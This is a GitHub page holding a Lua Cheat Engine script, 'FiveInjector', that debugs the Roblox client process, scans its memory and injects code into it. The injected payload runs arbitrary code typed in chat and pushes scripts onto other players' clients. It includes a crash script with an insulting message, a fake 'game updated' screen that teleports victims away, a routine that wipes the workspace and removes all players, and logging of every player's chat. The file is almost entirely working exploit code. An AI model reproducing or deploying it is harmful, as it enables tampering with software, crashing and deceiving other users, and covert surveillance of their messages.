forked from retpirato/Roblox-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path##LEVEL4.lua
480 lines (463 loc) · 18.1 KB
/
##LEVEL4.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
local Exploits, Successes, AddressList, NoRun, Interface = {}, {}, {}, {}, {};
local GlobalOffset = "28";
function GetExploit(index)
local tab, scan, result = Exploits[index], createMemScan(true);
memscan_returnOnlyOneResult(scan, true);
memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated, table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false, false, false, false);
memscan_waitTillDone(scan);
result = memscan_getOnlyResult(scan);
if result == nil then return nil; end
result = string.format("%X", result + tab[3]);
result = string.rep("0", 8 - string.len(result)) .. result;
return result;
end
function AddExploit(name, hex, offset)
table.insert(Exploits, {name, hex, offset})
end
function toAddr(num)
local num = tonumber(num);
local addr = string.format("%X", num):upper();
addr = string.rep("0", 8 - string.len(addr)) .. addr;
return addr;
end
debugger_onBreakpoint = function()
local function GetAddress(ESPaddr, Offset)
local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8), tostring(Offset == nil and GlobalOffset or Offset);
local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" .. Offset);
local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 = tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X", SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)), tostring(string.format("%X", SCaddr_base + 3));
local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) * 256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
return toAddr(SCaddr);
end
--if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP), string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
local JOIN_script = "";
table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script .. string.char(v); end);
local script = JOIN_script .. [==[ repeat wait() until game:service'Players'.LocalPlayer; wait(); game:service'Players'.LocalPlayer.Chatted:connect(function(s) Spawn(function() loadstring(s)() end) end) LagScript = [[
script:Destroy();
local runService = Game:GetService("RunService").Stepped;
local LagNum = 1250;
local str = "You just got crashed by one of the most powerful hackers on Roblox, how do you feel?";
for i = 1, math.huge do
if i % LagNum == 0 then runService:wait(); end
Instance.new("Message", Workspace).Text = str;
end
]]
local function TeleportScript(place_id)
return [[
script:Destroy();
local place_id_str = ]]..tostring(place_id)..[[;
local place_id = tonumber(place_id_str);
local message_str = "The owner has updated the game. New features: less lag, improved dynamic lighting, and more! Press the 'Leave' button to play to an updated game!";
local player = Game:GetService("Players").LocalPlayer;
local teleport_service = Game:GetService("TeleportService");
local run_service = Game:GetService("RunService").Stepped;
if player:FindFirstChild("PlayerGui") then
pcall(function() player.PlayerGui:ClearAllChildren(); end)
end
while true do
if player:FindFirstChild("PlayerGui") then
local screen_gui, frame_gui, message_gui;
if not player.PlayerGui:FindFirstChild(" __teleport_updated_place_gui") then
pcall(function()
screen_gui = Instance.new("ScreenGui", player.PlayerGui);
screen_gui.Name = " __teleport_updated_place_gui";
end)
else screen_gui = player.PlayerGui[" __teleport_updated_place_gui"]; end
if not screen_gui:FindFirstChild(" __teleport_updated_place_frame") then
pcall(function()
frame_gui = Instance.new("Frame", screen_gui);
frame_gui.Name = " __teleport_updated_place_frame";
frame_gui.ZIndex = 9;
frame_gui.Size = UDim2.new(2, 0, 2, 0);
frame_gui.Position = UDim2.new(-.5, 0, -.5, 0);
frame_gui.BackgroundColor3 = Color3.new();
end)
end
if not screen_gui:FindFirstChild(" __teleport_updated_place_message") then
pcall(function()
message_gui = Instance.new("TextLabel", screen_gui);
message_gui.Name = " __teleport_updated_place_message";
message_gui.ZIndex = 10;
message_gui.Size = UDim2.new(.9, 0, .3, 0);
message_gui.Position = UDim2.new(.05, 0, 0, 0);
message_gui.BackgroundColor3 = Color3.new();
message_gui.BorderColor3 = Color3.new();
message_gui.BorderSizePixel = 0;
message_gui.TextWrapped = true;
message_gui.TextColor3 = Color3.new(1,1,1);
message_gui.FontSize = 8;
message_gui.Font = 2;
message_gui.Text = message_str;
end)
end
end
teleport_service:Teleport(place_id);
pcall(function() Workspace.CurrentCamera.CameraType = 6; end)
pcall(function() player.Character = nil; end)
run_service:wait();
end
]]
end
local function GetError(not_errored, msg)
if not_errored then msg = "Running Script" end
Game.Debris:AddItem((function()
local hint;
pcall(function()
hint=Instance.new("Hint",Workspace.CurrentCamera)
hint.Text=msg
end)
return hint
end)(), 3)
end
local function FindPlayers(str)
if not str then return end
local str,players = str:lower(),{}
if str == "all" then
for i, v in next, Game.Players:GetPlayers() do
players[#players+1] = v
end
elseif str:match("others?") then
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v ~= Game.Players.LocalPlayer then
players[#players+1] = v
end
end)
end
else
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v.Name:lower():match("^"..str) then
players[#players+1] = v
end
end)
end
end
return players
end
local function LoadOnClients(players, source)
if not players or #players == 0 then return end
local load = function(Player)
local Script = Instance.new "LocalScript"
--
Script.Source = [[
while script.Name == "LocalScript" do wait() end
ypcall(loadstring([==============[]]..source..[[]==============]))
]]
--
Script.Parent = Game.Players.LocalPlayer.Character
or Game.Players.LocalPlayer:FindFirstChild "Backpack"
or Game.Players.LocalPlayer.CharacterAdded:wait()
wait(.5)
Script.Name = "LocalScript "
Script.Parent = Player.Character
or Player:FindFirstChild "Backpack"
or Player.CharacterAdded:wait()
end
for _,player in next, players do
coroutine.wrap(load)(player)
end
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
HackerName=game.Players.LocalPlayer.Name
end))
if(AntibanScript)then
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime+.5)
while true and wait() do
if(AntibanScript)then
if not(game.Players:FindFirstChild(HackerName))then
wait(3.5)
if(AntibanScript)then
function workspaceRemove(path)
for _,v in pairs(path:GetChildren())do
coroutine.resume(coroutine.create(function(v)
if(v:IsA("Script"))or(v:IsA("LocalScript"))then
v.Disabled=true
v:remove()
else
v:remove()
end
end),v)
end
end
workspaceRemove(game:GetService('Workspace'))
for e,i in pairs(game.Players:GetPlayers())do
coroutine.resume(coroutine.create(function(i) i:remove() end),i)
end
end
end
end
end
end))
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players.LocalPlayer.Chatted:connect(function(msg)
if string.sub(msg, 1, 3) == "ls " then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs " then
coroutine.resume(coroutine.create(function(msg)
local errored,output = ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "ls/" then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs/" then
coroutine.resume(coroutine.create(function(msg)
local errored,output = ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "cs " then
LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")), msg:sub(4):match("%s(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire " then
LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")), msg:sub(11):match("%s(.+)"))
elseif string.sub(msg, 1, 4) == "lag " then
LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler " then
LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), LagScript)
--
elseif string.sub(msg, 1, 3) == "cs/" then
LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")), msg:sub(4):match("/(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire/" then
LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")), msg:sub(11):match("/(.+)"))
elseif string.sub(msg, 1, 4) == "lag/" then
LoadOnClients(FindPlayers(msg:sub(5):match("[%w%s]+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler/" then
LoadOnClients(FindPlayers(msg:sub(8):match("[%w%s]+")), LagScript)
--
elseif string.sub(msg, 1, 1) == "/" then
if string.sub(msg, 2, 4) == "sb" then
chatbool = true
repeat wait(.01)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players:Chat("/sc 2 4")
game.Players:Chat("/sc 2 7 0")
game.Players:Chat("/sc 2 7 4")
until not chatbool
elseif string.sub(msg, 2, 5) == "nsb" then
chatbool = false
elseif string.sub(msg, 2, 7) == "power" then
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 7) == "gaara" then
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 6) == "nova" then
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 9) == "outgame" then AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
end
end)
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
while wait() do
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
if ChatHistory then
coroutine.resume(coroutine.create(function()
CH=Instance.new("Model",game:GetService("SoundService"))
CH.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH2=Instance.new("Model",game:GetService("StarterGui"))
CH2.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH3=Instance.new("Model",game:GetService("Teams"))
CH3.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH4=Instance.new("Model",game:GetService("Soundscape"))
CH4.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end))
end
end))
X=function(f)
return coroutine.resume(coroutine.create(f))
end]==]
local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer", string.len(script) + 5);
local mem = toAddr(memory);
local len = toAddr(string.len(script));
local success_catch = writeString(mem, script);
writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" .. mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3, 4)),tonumber("0x" .. mem:sub(1, 2)));
writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" .. len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3, 4)),tonumber("0x" .. len:sub(1, 2)));
--print("[FiveInjector]: Script Execution location " .. GetAddress(toAddr(ESP), GlobalOffset) .. " with length " .. tonumber("0x" .. len));
pcall(function() debug_removeBreakpoint(EIP); end);
debug_continueFromBreakpoint(co_run);
messageDialog("studio.ashx found and " .. (success_catch and "Thejustifierx successful" or "failed to inject."), (success_catch and 2 or 1), 2);
--else
--debug_continueFromBreakpoint(co_run)
--end
end
function Exec()
local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00, 01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
writeBytes("00F24118", unprotect_mem);
pcall(function() object_destroy(Interface.MainFrame); end);
Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
--AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C, 0x85, 0xFF}, 3)
for i, v in pairs(Exploits) do
local exploit = GetExploit(i);
if (exploit == nil) then
print("[FiveInjector]: Failed \"" .. v[1] .. "\"");
else
pcall(function() debug_removeBreakpoint(exploit); end);
debug_setBreakpoint(exploit);
AddressList[v[1]] = exploit;
table.insert(Successes, v[1]);
print("[FiveInjector]: Success \"" .. v[1] .. "\" [" .. exploit .. "]");
end
end
print("[FiveInjector]: " .. tostring(#Successes) .. "/" .. tostring(#Exploits) .. " exploits found.")
if #Successes == #Exploits then
print("[FiveInjector]: Attached successfully. Listening for studio.ashx now...");
else
messageDialog("[FiveInjector]: Initializing failed. FiveInjector fails to launch", 1, 2);
end
end
function myCheck(_)
local id = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
if id ~= nil then
for i, v in pairs(NoRun) do
if v == id then
return
end
end
table.insert(NoRun, id);
openProcess(id);
debugProcess(2);
Exec();
else
local id2 = getProcessIDFromProcessName("RobloxPlayer.exe");
if id2 ~= nil then
for i, v in pairs(NoRun) do
if v == id2 then
return
end
end
table.insert(NoRun, id2);
openProcess(id2);
debugProcess(2);
Exec();
end
end
end
t = createTimer(nil)
timer_setInterval(t, 500)
timer_onTimer(t, myCheck)
timer_setEnabled(t, true)